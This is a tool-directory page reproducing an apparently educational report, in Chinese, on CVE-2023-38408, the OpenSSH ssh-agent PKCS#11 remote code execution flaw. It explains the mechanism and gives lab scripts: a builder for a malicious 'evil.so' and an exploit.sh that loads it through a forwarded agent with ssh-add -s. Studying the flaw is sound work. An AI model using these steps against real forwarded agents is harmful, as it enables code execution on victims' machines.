Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2023-38408 — 对 CVE-2023-38408(一个严重的 OpenSSH 漏洞)的深入分析,包括技术背景、受控环境中的利用以及缓解策略。 | Kitploit
工具/GitHubGitHub/adel2411/cve-2023-38408
漏洞分析漏洞利用渗透测试论文与研究学习与教育红队
GitHubadel2411/cve-2023-38408

cve-2023-38408

对 CVE-2023-38408(一个严重的 OpenSSH 漏洞)的深入分析,包括技术背景、受控环境中的利用以及缓解策略。

查看仓库
551年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-38408:理解与模拟真实世界的SSH-Agent漏洞

目录

  1. 引言
  2. 背景概念
  3. CVE-2023-38408漏洞
  4. 实际模拟与测试
  5. 技术分析
  6. 修复与缓解措施
  7. 结论

1. 引言

报告目的

本报告旨在通过理论理解与实际模拟,分析CVE-2023-38408——一个在OpenSSH中发现的关键真实世界漏洞。报告阐述了该漏洞的技术基础,演示了如何在受控环境中加以利用,并考察了已实施的缓解措施。

分析真实世界漏洞的重要性

通过动手模拟理解真实世界安全漏洞,不仅有助于保护系统,还能增强开发者和系统管理员对潜在攻击向量的认识。分析此类漏洞弥合了理论与实际安全实施之间的鸿沟。

什么是CVE-2023-38408及其重要性

CVE-2023-38408是一个影响OpenSSH中ssh-agent的漏洞(当PKCS#11支持启用时)。如果用户使用代理转发功能(ssh -A)连接到被攻陷的服务器,该漏洞允许在客户端机器上执行远程代码。此漏洞对任何依赖OpenSSH进行安全认证的系统都构成严重威胁。

CVE 详情信息
CVE IDCVE-2023-38408
CVSS 评分9.8(严重)
受影响版本OpenSSH < 9.3p2
攻击向量网络
所需权限无
用户交互需要
影响系统完全沦陷

2. 背景概念

2.1 SSH 概述

SSH(安全外壳协议)是一种加密网络协议,用于在不安全的网络上进行安全通信。它为远程登录、命令执行、文件传输等提供加密通道。```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

### 2.2 什么是 ssh-agent

`ssh-agent` 是一个后台进程,它将你解密后的私有 SSH 密钥存储在内存中,让你无需在每次连接到远程系统时都重新输入密码。

#### 代理转发(ssh -A)

代理转发允许远程系统通过 Unix 域套接字访问本地的 `ssh-agent`。这对于链式 SSH 连接很有用,但如果远程机器被攻破,则会引入重大的安全风险。```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

技术上讲,当你使用 ssh -A 时,SSH 客户端会在远程服务器上创建一个 Unix 域套接字,作为你本地 ssh-agent 的代理。环境变量 SSH_AUTH_SOCK 被设置为指向这个代理套接字。对远程服务器上 SSH_AUTH_SOCK 的任何调用都会通过 SSH 连接转发回来,并由你的本地 ssh-agent 处理。

2.3 什么是 PKCS#11

PKCS#11 是一种与加密令牌(如智能卡、YubiKey 或虚拟硬件安全模块 HSM)交互的标准 API。

PKCS#11 函数用途风险级别
C_Initialize()初始化库低
C_GetSlotList()列出可用插槽低
C_FindObjects()查找加密对象中
C_Sign()签名数据高
dlopen()加载共享库严重

ssh-agent 如何支持 PKCS#11

OpenSSH 的 ssh-agent 支持通过命令 ssh-add -s /path/to/provider.so 加载 PKCS#11 提供者(共享 .so 库)。这些库允许代理与安全硬件或软件模块交互,从而使用私钥而不直接暴露它们。

在底层,当调用 ssh-add -s 时,它会执行以下操作:

  • 使用 dlopen() 将 .so 文件动态加载到内存中。
  • 代理通过 PKCS#11 API 解析并调用 C_Initialize()、C_GetSlotList()、C_FindObjects() 和 C_Sign() 等函数。
  • 提供者返回元数据并处理请求以签名认证挑战,将私钥材料安全地保留在硬件令牌内。

3. CVE-2023-38408 漏洞

3.1 CVE 摘要

属性详情
IDCVE-2023-38408
严重性高(CVSS 9.8)
时间线2023 年 7 月披露,在 OpenSSH 9.3p2 中修复
受影响软件支持 PKCS#11 的 OpenSSH 9.3p2 之前版本
攻击复杂度低
攻击向量通过网络利用 SSH 代理转发

3.2 漏洞机制

该漏洞源于 ssh-agent 会加载通过 ssh-add -s 提供的任何共享对象文件(.so),而不会验证其是否为合法的 PKCS#11 提供者。```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

### 3.3 攻击流分析```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

在最低层级,事件序列包括:

  1. 远程系统向转发的代理发送请求,要求其执行 ssh-add -s /path/to/lib.so
  2. 本地 ssh-agent 接收此请求,并盲目调用 dlopen("/path/to/lib.so", RTLD_NOW)
  3. 如果 .so 文件包含构造函数(__attribute__((constructor))),该函数会在加载时立即执行
  4. 此构造函数可以包含任意恶意代码,在客户端机器上运行

3.4 真实攻击场景

步骤操作影响
1用户运行 ssh -A user@attacker-host代理转发已启用
2攻击者准备 malicious.so载荷就绪
3攻击者执行 ssh-add -s /tmp/malicious.so请求发送至受害者的代理
4代理加载恶意库构造函数执行
5恶意代码运行实现远程代码执行

4. 实际模拟与测试

4.1 模拟环境搭建

为在受控环境中演示此漏洞,我们使用多个用户账户和终端进行了全面的模拟。

环境配置

组件配置用途
终端 1victim 用户SSH 客户端(目标)
终端 2attacker 用户SSH 服务器(攻击者)
SSH 密钥RSA 2048 位无需密码的身份验证
测试文件各种 shell 脚本自动化及载荷投递

用户账户创建```bash

As main user

sudo adduser victim sudo adduser attacker

#### 用于代理转发的SSH密钥设置```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 模拟脚本与实现

受害者连接脚本(new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

#### 攻击者载荷构建器(`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

漏洞利用脚本 (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

### 4.3 模拟结果与分析

#### 脆弱系统中的预期行为

| **操作**                | **脆弱系统响应**      | **已修补系统响应** |
| ------------------------- | ----------------------------------- | --------------------------- |
| `ssh-add -s malicious.so` | 库加载,构造函数执行 | `agent refused operation`   |
| 有效负载执行         | 创建 `/tmp/exploit.log`          | 无执行                |
| 系统影响             | 远程代码执行               | 无影响                   |

#### 实际模拟输出

在已修补的系统(OpenSSH 9.3p2+)上运行模拟时:```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

关键观察:即使在修补版本中代理拒绝该操作,本模拟演示了攻击向量,并帮助理解漏洞在旧版本中的影响。

4.4 Payload Construction Analysis

下载工具